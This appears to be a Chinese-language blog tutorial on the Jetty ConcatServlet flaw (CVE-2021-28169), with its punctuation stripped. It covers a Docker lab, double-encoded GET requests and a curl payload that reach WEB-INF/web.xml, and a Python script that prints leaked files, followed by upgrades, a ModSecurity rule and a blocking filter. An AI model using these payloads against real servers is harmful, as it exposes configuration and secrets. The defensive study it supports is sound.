Jetty 9.4.40 前 ConcatServlet 漏洞实战:双重URL编码绕过与WEB-INF文件泄露

📅 2026/7/7 9:27:08
Jetty 9.4.40 前 ConcatServlet 漏洞实战:双重URL编码绕过与WEB-INF文件泄露
Jetty 9.4.40前ConcatServlet漏洞深度解析双重URL编码绕过与防御实践1. Jetty中间件安全背景与漏洞概述Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器凭借其模块化设计和嵌入式特性在微服务架构和云原生环境中广泛应用。不同于传统Web服务器的重配置模式Jetty允许开发者通过简单的JAR包集成即可实现完整的Web服务功能这种灵活性使其成为Spring Boot等框架的默认内嵌服务器选择。在安全机制方面Jetty通过多重防护确保资源访问的安全性路径标准化处理自动解析./和../等相对路径符号访问控制列表限制对WEB-INF和META-INF等敏感目录的访问编码规范化对URL编码字符进行合规性校验然而2021年曝光的CVE-2021-28169漏洞暴露了Jetty在特定场景下的安全缺陷。该漏洞影响范围包括Jetty 9.4.0 - 9.4.39Jetty 10.0.0 - 10.0.1Jetty 11.0.0 - 11.0.1漏洞核心在于ConcatServlet和WelcomeFilter组件的多重解码逻辑缺陷当开发者主动启用这些组件时常见于静态资源合并场景攻击者可构造特殊编码的URL绕过路径安全检查。2. 漏洞原理与技术细节2.1 ConcatServlet的正常工作流程ConcatServlet是Jetty提供的静态资源合并优化组件典型应用场景如下!-- 前端页面中的使用示例 -- link relstylesheet href/static?/css/base.css/css/theme.css script src/static?/js/jquery.min.js/js/app.js/script其标准处理流程分为四个阶段请求解析提取问号后的资源路径列表路径验证检查每个路径是否在允许访问的目录范围内内容合并按顺序读取各文件内容响应返回根据文件类型设置Content-Type并输出2.2 双重编码绕过机制漏洞利用的关键在于编码解码顺序差异。Jetty处理链中存在两处解码环节处理阶段解码操作安全校验时机容器层解码第一次URL解码校验前Servlet层解码第二次URL解码校验后攻击者通过双重编码构造特殊路径原始字符W 一次编码%57 二次编码%2557实际攻击中常用的变形方式包括Unicode编码%u0057空字节截断W%00点号混淆%2e替代.2.3 漏洞利用条件验证要成功利用此漏洞需同时满足以下条件服务器配置中显式启用了ConcatServlet或WelcomeFilter攻击路径中存在可访问的WEB-INF目录未部署WAF等防护设备拦截异常编码请求可通过检查web.xml确认漏洞组件是否启用!-- 存在风险的配置示例 -- servlet servlet-nameconcat/servlet-name servlet-classorg.eclipse.jetty.servlets.ConcatServlet/servlet-class /servlet3. 漏洞复现环境搭建3.1 Docker环境快速部署使用以下docker-compose.yml文件创建漏洞环境version: 3 services: vulnerable-jetty: image: jetty:9.4.39 ports: - 8080:8080 volumes: - ./webapps:/var/lib/jetty/webapps command: -Djetty.httpConfig.uriComplianceLEGACY关键配置说明使用官方Jetty 9.4.39镜像映射webapps目录用于部署测试应用设置uriComplianceLEGACY启用宽松的URI解析模式3.2 测试应用部署在webapps目录下创建如下结构ROOT/ ├── WEB-INF/ │ ├── web.xml │ └── secret.properties ├── css/ │ ├── base.css │ └── theme.css └── index.htmlweb.xml中添加ConcatServlet配置servlet-mapping servlet-nameconcat/servlet-name url-pattern/static/*/url-pattern /servlet-mapping4. 漏洞利用实战演示4.1 手工验证步骤正常访问测试应返回404GET /static?/WEB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080双重编码攻击返回敏感文件GET /static?/%2557EB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080变异Payload示例curl -v http://localhost:8080/static?/%252e%252e/WEB-INF/web.xml4.2 自动化利用脚本Python自动化检测脚本核心逻辑import requests from urllib.parse import quote def check_vulnerability(target): test_paths [ /WEB-INF/web.xml, /META-INF/context.xml ] for path in test_paths: # 双重编码构造 encoded quote(quote(path, safe), safe) url f{target}/static?/{encoded} resp requests.get(url) if resp.status_code 200 and xml in resp.headers.get(Content-Type,): print(f[] Vulnerable! Leaked: {path}) print(resp.text[:500]) # 输出部分内容 return True print([-] Target appears patched) return False5. 防御方案与最佳实践5.1 紧急修复措施版本升级方案对比版本分支修复版本兼容性考虑9.4.x≥9.4.40适合生产环境长期支持10.0.x≥10.0.2需要评估Servlet API兼容性11.0.x≥11.0.2需要Java 11环境5.2 配置加固建议禁用危险组件!-- 安全配置示例 -- init-param param-nameallowPaths/param-name param-value/static,/public/param-value /init-param强制严格模式 在jetty.xml中添加Call namesetUriCompliance ArgProperty namejetty.httpConfig.uriCompliance defaultRFC3986//Arg /Call5.3 纵深防御策略WAF规则示例ModSecuritySecRule REQUEST_URI rx %25[0-9a-fA-F]{2} \ id:1001,\ phase:1,\ block,\ msg:Double URL encoding detected,\ logdata:Matched %{MATCHED_VAR}架构层面防护静态资源与动态内容分离部署定期扫描WEB-INF目录权限实施最小权限原则运行Jetty6. 漏洞分析方法论延伸6.1 同类漏洞模式识别类似的多重解码问题在其他中间件中也有出现中间件漏洞编号触发条件Apache TomcatCVE-2020-1938AJP协议处理NginxCVE-2013-4547文件名解析IISCVE-2015-1635HTTP.sys处理6.2 安全研究工具链推荐使用的分析工具字节码分析JD-GUI Bytecode Viewer流量调试Burp Suite with Java Deserialization插件环境沙箱Docker Jetty远程调试配置调试参数示例java -agentlib:jdwptransportdt_socket,servery,suspendn,address5005 \ -jar start.jar7. 企业级防护建议对于大型企业部署建议采取以下措施资产管理系统建立Jetty实例清单标记使用ConcatServlet的敏感应用持续监控方案-- 日志分析查询示例 SELECT COUNT(*) FROM web_logs WHERE request_uri LIKE %25%25% AND status_code 200 AND time NOW() - INTERVAL 1 hour;应急响应流程确认漏洞影响范围受影响IP、业务系统制定回滚方案更新入侵检测规则实际项目中遇到的典型案例某金融系统因历史原因无法立即升级通过添加以下过滤器临时修复public class DoubleEncodingFilter implements Filter { Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request (HttpServletRequest) req; String uri request.getRequestURI(); if(uri.contains(%25)) { ((HttpServletResponse)res).sendError(400); return; } chain.doFilter(req, res); } }